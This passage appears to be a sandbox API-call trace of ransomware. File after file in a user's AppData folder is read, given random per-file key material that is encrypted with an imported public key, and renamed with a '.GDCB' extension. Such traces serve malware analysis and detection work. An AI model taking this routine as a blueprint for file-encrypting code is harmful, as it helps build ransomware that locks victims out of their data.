data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winword.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.668] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.669] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.670] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x4b3d2, lpOverlapped=0x0) returned 1 [0178.701] VirtualAlloc (lpAddress=0x0, dwSize=0x4b3e0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.714] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winword.exe_rules.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\winword.exe_rules.xml.gdcb")) returned 1 [0178.755] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.757] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.758] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.758] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.758] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.758] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0178.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.760] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.760] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.760] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.762] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691208) returned 1 [0178.762] CryptGetKeyParam (in: hKey=0x3691208, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.762] CryptEncrypt (in: hKey=0x3691208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.762] GetLastError () returned 0x0 [0178.762] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.762] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.764] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691448) returned 1 [0178.764] CryptGetKeyParam (in: hKey=0x3691448, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.764] CryptEncrypt (in: hKey=0x3691448, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.765] GetLastError () returned 0x0 [0178.765] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.765] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.767] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.769] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.769] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x123c, lpOverlapped=0x0) returned 1 [0178.776] VirtualAlloc (lpAddress=0x0, dwSize=0x1240, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.780] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplaylogo.png.gdcb")) returned 0 [0178.786] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.788] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.789] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.789] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.789] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0178.790] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.791] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.791] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.791] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0178.791] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0178.793] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691248) returned 1 [0178.793] CryptGetKeyParam (in: hKey=0x3691248, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.793] CryptEncrypt (in: hKey=0x3691248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.794] GetLastError () returned 0x0 [0178.794] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.794] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0178.796] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36916c8) returned 1 [0178.796] CryptGetKeyParam (in: hKey=0x36916c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.796] CryptEncrypt (in: hKey=0x36916c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.796] GetLastError () returned 0x0 [0178.796] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.796] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.799] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.800] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.801] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x5d8f6, lpOverlapped=0x0) returned 1 [0178.840] VirtualAlloc (lpAddress=0x0, dwSize=0x5d900, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.855] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif.gdcb")) returned 0 [0178.860] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.863] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.863] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.863] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0178.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.864] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.865] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.865] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.867] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691ac8) returned 1 [0178.867] CryptGetKeyParam (in: hKey=0x3691ac8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.867] CryptEncrypt (in: hKey=0x3691ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.867] GetLastError () returned 0x0 [0178.867] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.868] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0178.870] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691cc8) returned 1 [0178.870] CryptGetKeyParam (in: hKey=0x3691cc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.870] CryptEncrypt (in: hKey=0x3691cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.870] GetLastError () returned 0x0 [0178.870] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0178.870] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.872] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.873] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.874] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x27f2, lpOverlapped=0x0) returned 1 [0178.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.909] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png.gdcb")) returned 0 [0178.915] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0178.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.917] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.917] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0178.917] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.917] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0178.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0178.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0178.919] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0178.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0178.919] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0178.921] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691c08) returned 1 [0178.921] CryptGetKeyParam (in: hKey=0x3691c08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.921] CryptEncrypt (in: hKey=0x3691c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0178.921] GetLastError () returned 0x0 [0178.921] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0178.921] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0178.923] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36917c8) returned 1 [0178.923] CryptGetKeyParam (in: hKey=0x36917c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0178.923] CryptEncrypt (in: hKey=0x36917c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0178.924] GetLastError () returned 0x0 [0178.924] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0178.924] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0178.926] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0178.927] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0178.928] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x4e5f, lpOverlapped=0x0) returned 1 [0178.936] VirtualAlloc (lpAddress=0x0, dwSize=0x4e60, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0178.941] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml.gdcb")) returned 0 [0179.000] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0179.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.002] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.002] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0179.002] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0179.002] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0179.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.004] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0179.004] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.004] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0179.006] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691648) returned 1 [0179.006] CryptGetKeyParam (in: hKey=0x3691648, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.006] CryptEncrypt (in: hKey=0x3691648, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0179.007] GetLastError () returned 0x0 [0179.007] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0179.007] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0179.009] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691c48) returned 1 [0179.009] CryptGetKeyParam (in: hKey=0x3691c48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.009] CryptEncrypt (in: hKey=0x3691c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0179.009] GetLastError () returned 0x0 [0179.009] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplaylogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0179.011] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0179.012] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0179.013] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x123c, lpOverlapped=0x0) returned 1 [0179.137] VirtualAlloc (lpAddress=0x0, dwSize=0x1240, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0179.142] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application 